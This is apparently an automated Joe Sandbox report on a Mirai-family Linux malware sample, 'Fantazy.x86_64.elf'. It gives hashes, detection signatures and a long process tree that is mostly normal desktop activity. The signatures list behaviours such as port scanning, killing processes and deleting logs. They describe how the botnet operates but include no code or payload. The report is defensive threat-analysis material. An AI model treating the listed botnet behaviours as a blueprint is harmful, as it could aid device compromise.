Edit tour

Linux Analysis Report
Fantazy.x86_64.elf

Overview

General Information

Sample name:	Fantazy.x86_64.elf
Analysis ID:	1613275
MD5:	f766f228e138e46d05d1ccea5da60dbe
SHA1:	9f6a9f436fec7c03872c9a3ba7d34b3fb1b654bd
SHA256:	63f4be9d70ef98e52e7555f6bc75a4eb18f439b4795121c864a156db517d4a24
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Reads system files that contain records of logged in users

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Deletes log files

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "grep" command used to find patterns in files or piped streams

Executes the "kill" or "pkill" command typically used to terminate processes

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Reads CPU information from /sys indicative of miner or evasive malware

Reads system information from the proc file system

Reads system version information

Reads the 'hosts' file potentially containing internal network hosts

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1613275
Start date and time:	2025-02-12 16:52:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Fantazy.x86_64.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/171@0/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/Fantazy.x86_64.elf
PID:	5474
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	VegaSec-KATANA001
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5461, Parent: 3635)

rm (PID: 5461, Parent: 3635, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.yxmu2Jd3uP /tmp/tmp.9MlzaErwpT /tmp/tmp.fgY3hLZQEm

dash New Fork (PID: 5462, Parent: 3635)

rm (PID: 5462, Parent: 3635, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.yxmu2Jd3uP /tmp/tmp.9MlzaErwpT /tmp/tmp.fgY3hLZQEm

Fantazy.x86_64.elf (PID: 5474, Parent: 5396, MD5: f766f228e138e46d05d1ccea5da60dbe) Arguments: /tmp/Fantazy.x86_64.elf

Fantazy.x86_64.elf New Fork (PID: 5475, Parent: 5474)

Fantazy.x86_64.elf New Fork (PID: 5476, Parent: 5474)

Fantazy.x86_64.elf New Fork (PID: 5477, Parent: 5476)

Fantazy.x86_64.elf New Fork (PID: 5478, Parent: 5476)

Fantazy.x86_64.elf New Fork (PID: 5479, Parent: 5476)

Fantazy.x86_64.elf New Fork (PID: 5480, Parent: 5476)

systemd New Fork (PID: 5484, Parent: 1)

journalctl (PID: 5484, Parent: 1, MD5: bf3a987344f3bacafc44efd882abda8b) Arguments: /usr/bin/journalctl --smart-relinquish-var

systemd New Fork (PID: 5497, Parent: 1)

systemd-journald (PID: 5497, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5500, Parent: 1)

journalctl (PID: 5500, Parent: 1, MD5: bf3a987344f3bacafc44efd882abda8b) Arguments: /usr/bin/journalctl --flush

gnome-session-binary New Fork (PID: 5578, Parent: 1383)

sh (PID: 5578, Parent: 1383, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/gnome-shell

systemd New Fork (PID: 5583, Parent: 1)

dbus-daemon (PID: 5583, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5584, Parent: 2955)

pulseaudio (PID: 5584, Parent: 2955, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 5585, Parent: 1)

rtkit-daemon (PID: 5585, Parent: 1, MD5: df0cacf1db4ec95ac70f5b6e06b8ffd7) Arguments: /usr/libexec/rtkit-daemon

systemd New Fork (PID: 5588, Parent: 1)

systemd-logind (PID: 5588, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5651, Parent: 1)

polkitd (PID: 5651, Parent: 1, MD5: 8efc9b4b5b524210ad2ea1954a9d0e69) Arguments: /usr/lib/policykit-1/polkitd --no-debug

systemd New Fork (PID: 5655, Parent: 1)

agetty (PID: 5655, Parent: 1, MD5: 3a374724ba7e863768139bdd60ca36f7) Arguments: /sbin/agetty -o "-p -- \\u" --noclear tty2 linux

gdm3 New Fork (PID: 5656, Parent: 1289)

Default (PID: 5656, Parent: 1289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5657, Parent: 1289)

Default (PID: 5657, Parent: 1289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5658, Parent: 1289)

Default (PID: 5658, Parent: 1289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5659, Parent: 1)

rsyslogd (PID: 5659, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5664, Parent: 1)

gpu-manager (PID: 5664, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 5665, Parent: 5664)

sh (PID: 5665, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5666, Parent: 5665)

grep (PID: 5666, Parent: 5665, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5667, Parent: 5664)

sh (PID: 5667, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5668, Parent: 5667)

grep (PID: 5668, Parent: 5667, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5670, Parent: 5664)

sh (PID: 5670, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5671, Parent: 5670)

grep (PID: 5671, Parent: 5670, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5672, Parent: 5664)

sh (PID: 5672, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5673, Parent: 5672)

grep (PID: 5673, Parent: 5672, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5674, Parent: 5664)

sh (PID: 5674, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5675, Parent: 5674)

grep (PID: 5675, Parent: 5674, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5676, Parent: 5664)

sh (PID: 5676, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5677, Parent: 5676)

grep (PID: 5677, Parent: 5676, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5678, Parent: 5664)

sh (PID: 5678, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5679, Parent: 5678)

grep (PID: 5679, Parent: 5678, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5680, Parent: 5664)

sh (PID: 5680, Parent: 5664, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5681, Parent: 5680)

grep (PID: 5681, Parent: 5680, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 5684, Parent: 1)

generate-config (PID: 5684, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 5685, Parent: 5684)

pkill (PID: 5685, Parent: 5684, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 5686, Parent: 1)

gdm-wait-for-drm (PID: 5686, Parent: 1, MD5: 82043ba752c6930b4e6aaea2f7747545) Arguments: /usr/lib/gdm3/gdm-wait-for-drm

gvfsd-fuse New Fork (PID: 5691, Parent: 3147)

fusermount (PID: 5691, Parent: 3147, MD5: 576a1b135c82bdcbc97a91acea900566) Arguments: fusermount -u -q -z -- /run/user/1000/gvfs

systemd New Fork (PID: 5696, Parent: 1)

gdm3 (PID: 5696, Parent: 1, MD5: 2492e2d8d34f9377e3e530a61a15674f) Arguments: /usr/sbin/gdm3

gdm3 New Fork (PID: 5700, Parent: 5696)

plymouth (PID: 5700, Parent: 5696, MD5: 87003efd8dad470042f5e75360a8f49f) Arguments: plymouth --ping

gdm3 New Fork (PID: 5717, Parent: 5696)

gdm-session-worker (PID: 5717, Parent: 5696, MD5: 692243754bd9f38fe9bd7e230b5c060a) Arguments: "gdm-session-worker [pam/gdm-launch-environment]"

gdm-session-worker New Fork (PID: 5723, Parent: 5717)

gdm-wayland-session (PID: 5723, Parent: 5717, MD5: d3def63cf1e83f7fb8a0f13b1744ff7c) Arguments: /usr/lib/gdm3/gdm-wayland-session "dbus-run-session -- gnome-session --autostart /usr/share/gdm/greeter/autostart"

gdm-wayland-session New Fork (PID: 5728, Parent: 5723)

dbus-run-session (PID: 5728, Parent: 5723, MD5: 245f3ef6a268850b33b0225a8753b7f4) Arguments: dbus-run-session -- gnome-session --autostart /usr/share/gdm/greeter/autostart

dbus-run-session New Fork (PID: 5729, Parent: 5728)

dbus-daemon (PID: 5729, Parent: 5728, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: dbus-daemon --nofork --print-address 4 --session

dbus-daemon New Fork (PID: 5733, Parent: 5729)

dbus-daemon New Fork (PID: 5734, Parent: 5733)

false (PID: 5734, Parent: 5733, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5736, Parent: 5729)

dbus-daemon New Fork (PID: 5737, Parent: 5736)

false (PID: 5737, Parent: 5736, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5738, Parent: 5729)

dbus-daemon New Fork (PID: 5739, Parent: 5738)

false (PID: 5739, Parent: 5738, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5740, Parent: 5729)

dbus-daemon New Fork (PID: 5741, Parent: 5740)

false (PID: 5741, Parent: 5740, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5742, Parent: 5729)

dbus-daemon New Fork (PID: 5743, Parent: 5742)

false (PID: 5743, Parent: 5742, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5744, Parent: 5729)

dbus-daemon New Fork (PID: 5745, Parent: 5744)

false (PID: 5745, Parent: 5744, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5747, Parent: 5729)

dbus-daemon New Fork (PID: 5748, Parent: 5747)

false (PID: 5748, Parent: 5747, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-run-session New Fork (PID: 5730, Parent: 5728)

gnome-session (PID: 5730, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: gnome-session --autostart /usr/share/gdm/greeter/autostart

gnome-session-binary (PID: 5730, Parent: 5728, MD5: d9b90be4f7db60cb3c2d3da6a1d31bfb) Arguments: /usr/libexec/gnome-session-binary --systemd --autostart /usr/share/gdm/greeter/autostart

gnome-session-binary New Fork (PID: 5751, Parent: 5730)

session-migration (PID: 5751, Parent: 5730, MD5: 5227af42ebf14ac2fe2acddb002f68dc) Arguments: session-migration

gnome-session-binary New Fork (PID: 5752, Parent: 5730)

sh (PID: 5752, Parent: 5730, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/gnome-shell

gnome-shell (PID: 5752, Parent: 5730, MD5: da7a257239677622fe4b3a65972c9e87) Arguments: /usr/bin/gnome-shell

gdm3 New Fork (PID: 5778, Parent: 5696)

gdm-session-worker (PID: 5778, Parent: 5696, MD5: 692243754bd9f38fe9bd7e230b5c060a) Arguments: "gdm-session-worker [pam/gdm-launch-environment]"

gdm-session-worker New Fork (PID: 5785, Parent: 5778)

gdm-x-session (PID: 5785, Parent: 5778, MD5: 498a824333f1c1ec7767f4612d1887cc) Arguments: /usr/lib/gdm3/gdm-x-session "dbus-run-session -- gnome-session --autostart /usr/share/gdm/greeter/autostart"

gdm-x-session New Fork (PID: 5787, Parent: 5785)

Xorg (PID: 5787, Parent: 5785, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/bin/Xorg vt1 -displayfd 3 -auth /run/user/127/gdm/Xauthority -background none -noreset -keeptty -verbose 3

Xorg.wrap (PID: 5787, Parent: 5785, MD5: 48993830888200ecf19dd7def0884dfd) Arguments: /usr/lib/xorg/Xorg.wrap vt1 -displayfd 3 -auth /run/user/127/gdm/Xauthority -background none -noreset -keeptty -verbose 3

Xorg (PID: 5787, Parent: 5785, MD5: 730cf4c45a7ee8bea88abf165463b7f8) Arguments: /usr/lib/xorg/Xorg vt1 -displayfd 3 -auth /run/user/127/gdm/Xauthority -background none -noreset -keeptty -verbose 3

Xorg New Fork (PID: 5796, Parent: 5787)

sh (PID: 5796, Parent: 5787, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""

sh New Fork (PID: 5797, Parent: 5796)

xkbcomp (PID: 5797, Parent: 5796, MD5: c5f953aec4c00d2a1cc27acb75d62c9b) Arguments: /usr/bin/xkbcomp -w 1 -R/usr/share/X11/xkb -xkm - -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" /tmp/server-0.xkm

Xorg New Fork (PID: 6023, Parent: 5787)

sh (PID: 6023, Parent: 5787, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""

sh New Fork (PID: 6024, Parent: 6023)

xkbcomp (PID: 6024, Parent: 6023, MD5: c5f953aec4c00d2a1cc27acb75d62c9b) Arguments: /usr/bin/xkbcomp -w 1 -R/usr/share/X11/xkb -xkm - -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" /tmp/server-0.xkm

gdm-x-session New Fork (PID: 5802, Parent: 5785)

Default (PID: 5802, Parent: 5785, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/Prime/Default

gdm-x-session New Fork (PID: 5803, Parent: 5785)

dbus-run-session (PID: 5803, Parent: 5785, MD5: 245f3ef6a268850b33b0225a8753b7f4) Arguments: dbus-run-session -- gnome-session --autostart /usr/share/gdm/greeter/autostart

dbus-run-session New Fork (PID: 5804, Parent: 5803)

dbus-daemon (PID: 5804, Parent: 5803, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: dbus-daemon --nofork --print-address 4 --session

dbus-daemon New Fork (PID: 5817, Parent: 5804)

dbus-daemon New Fork (PID: 5818, Parent: 5817)

at-spi-bus-launcher (PID: 5818, Parent: 5817, MD5: 1563f274acd4e7ba530a55bdc4c95682) Arguments: /usr/libexec/at-spi-bus-launcher

at-spi-bus-launcher New Fork (PID: 5823, Parent: 5818)

dbus-daemon (PID: 5823, Parent: 5818, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3

dbus-daemon New Fork (PID: 6180, Parent: 5823)

dbus-daemon New Fork (PID: 6181, Parent: 6180)

at-spi2-registryd (PID: 6181, Parent: 6180, MD5: 1d904c2693452edebc7ede3a9e24d440) Arguments: /usr/libexec/at-spi2-registryd --use-gnome-session

dbus-daemon New Fork (PID: 5844, Parent: 5804)

dbus-daemon New Fork (PID: 5845, Parent: 5844)

false (PID: 5845, Parent: 5844, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5847, Parent: 5804)

dbus-daemon New Fork (PID: 5848, Parent: 5847)

false (PID: 5848, Parent: 5847, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5849, Parent: 5804)

dbus-daemon New Fork (PID: 5850, Parent: 5849)

false (PID: 5850, Parent: 5849, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5851, Parent: 5804)

dbus-daemon New Fork (PID: 5852, Parent: 5851)

false (PID: 5852, Parent: 5851, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5853, Parent: 5804)

dbus-daemon New Fork (PID: 5854, Parent: 5853)

false (PID: 5854, Parent: 5853, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5855, Parent: 5804)

dbus-daemon New Fork (PID: 5856, Parent: 5855)

false (PID: 5856, Parent: 5855, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 5860, Parent: 5804)

dbus-daemon New Fork (PID: 5861, Parent: 5860)

false (PID: 5861, Parent: 5860, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-daemon New Fork (PID: 6021, Parent: 5804)

dbus-daemon New Fork (PID: 6022, Parent: 6021)

ibus-portal (PID: 6022, Parent: 6021, MD5: 562ad55bd9a4d54bd7b76746b01e37d3) Arguments: /usr/libexec/ibus-portal

dbus-daemon New Fork (PID: 6194, Parent: 5804)

dbus-daemon New Fork (PID: 6195, Parent: 6194)

gjs (PID: 6195, Parent: 6194, MD5: 5f3eceb792bb65c22f23d1efb4fde3ad) Arguments: /usr/bin/gjs /usr/share/gnome-shell/org.gnome.Shell.Notifications

dbus-daemon New Fork (PID: 6395, Parent: 5804)

dbus-daemon New Fork (PID: 6396, Parent: 6395)

false (PID: 6396, Parent: 6395, MD5: 3177546c74e4f0062909eae43d948bfc) Arguments: /bin/false

dbus-run-session New Fork (PID: 5805, Parent: 5803)

gnome-session (PID: 5805, Parent: 5803, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: gnome-session --autostart /usr/share/gdm/greeter/autostart

gnome-session-binary (PID: 5805, Parent: 5803, MD5: d9b90be4f7db60cb3c2d3da6a1d31bfb) Arguments: /usr/libexec/gnome-session-binary --systemd --autostart /usr/share/gdm/greeter/autostart

gnome-session-binary New Fork (PID: 5806, Parent: 5805)

gnome-session-check-accelerated (PID: 5806, Parent: 5805, MD5: a64839518af85b2b9de31aca27646396) Arguments: /usr/libexec/gnome-session-check-accelerated

gnome-session-check-accelerated New Fork (PID: 5824, Parent: 5806)

gnome-session-check-accelerated-gl-helper (PID: 5824, Parent: 5806, MD5: b1ab9a384f9e98a39ae5c36037dd5e78) Arguments: /usr/libexec/gnome-session-check-accelerated-gl-helper --print-renderer

gnome-session-check-accelerated New Fork (PID: 5833, Parent: 5806)

gnome-session-check-accelerated-gles-helper (PID: 5833, Parent: 5806, MD5: 1bd78885765a18e60c05ed1fb5fa3bf8) Arguments: /usr/libexec/gnome-session-check-accelerated-gles-helper --print-renderer

gnome-session-binary New Fork (PID: 5862, Parent: 5805)

session-migration (PID: 5862, Parent: 5805, MD5: 5227af42ebf14ac2fe2acddb002f68dc) Arguments: session-migration

gnome-session-binary New Fork (PID: 5863, Parent: 5805)

sh (PID: 5863, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/gnome-shell

gnome-shell (PID: 5863, Parent: 5805, MD5: da7a257239677622fe4b3a65972c9e87) Arguments: /usr/bin/gnome-shell

gnome-shell New Fork (PID: 5976, Parent: 5863)

ibus-daemon (PID: 5976, Parent: 5863, MD5: 1e00fb9860b198c73f6e364e3ff16f31) Arguments: ibus-daemon --panel disable --xim

ibus-daemon New Fork (PID: 6017, Parent: 5976)

ibus-memconf (PID: 6017, Parent: 5976, MD5: 523e939905910d06598e66385761a822) Arguments: /usr/libexec/ibus-memconf

ibus-daemon New Fork (PID: 6019, Parent: 5976)

ibus-daemon New Fork (PID: 6020, Parent: 6019)

ibus-x11 (PID: 6020, Parent: 1, MD5: 2aa1e54666191243814c2733d6992dbd) Arguments: /usr/libexec/ibus-x11 --kill-daemon

ibus-daemon New Fork (PID: 6233, Parent: 5976)

ibus-engine-simple (PID: 6233, Parent: 5976, MD5: 0238866d5e8802a0ce1b1b9af8cb1376) Arguments: /usr/libexec/ibus-engine-simple

gnome-session-binary New Fork (PID: 6211, Parent: 5805)

sh (PID: 6211, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-sharing

gsd-sharing (PID: 6211, Parent: 5805, MD5: e29d9025d98590fbb69f89fdbd4438b3) Arguments: /usr/libexec/gsd-sharing

gnome-session-binary New Fork (PID: 6213, Parent: 5805)

sh (PID: 6213, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-wacom

gsd-wacom (PID: 6213, Parent: 5805, MD5: 13778dd1a23a4e94ddc17ac9caa4fcc1) Arguments: /usr/libexec/gsd-wacom

gnome-session-binary New Fork (PID: 6215, Parent: 5805)

sh (PID: 6215, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-color

gsd-color (PID: 6215, Parent: 5805, MD5: ac2861ad93ce047283e8e87cefef9a19) Arguments: /usr/libexec/gsd-color

gnome-session-binary New Fork (PID: 6217, Parent: 5805)

sh (PID: 6217, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-keyboard

gsd-keyboard (PID: 6217, Parent: 5805, MD5: 8e288fd17c80bb0a1148b964b2ac2279) Arguments: /usr/libexec/gsd-keyboard

gnome-session-binary New Fork (PID: 6218, Parent: 5805)

sh (PID: 6218, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 6218, Parent: 5805, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gsd-print-notifications New Fork (PID: 6393, Parent: 6218)

gsd-print-notifications New Fork (PID: 6394, Parent: 6393)

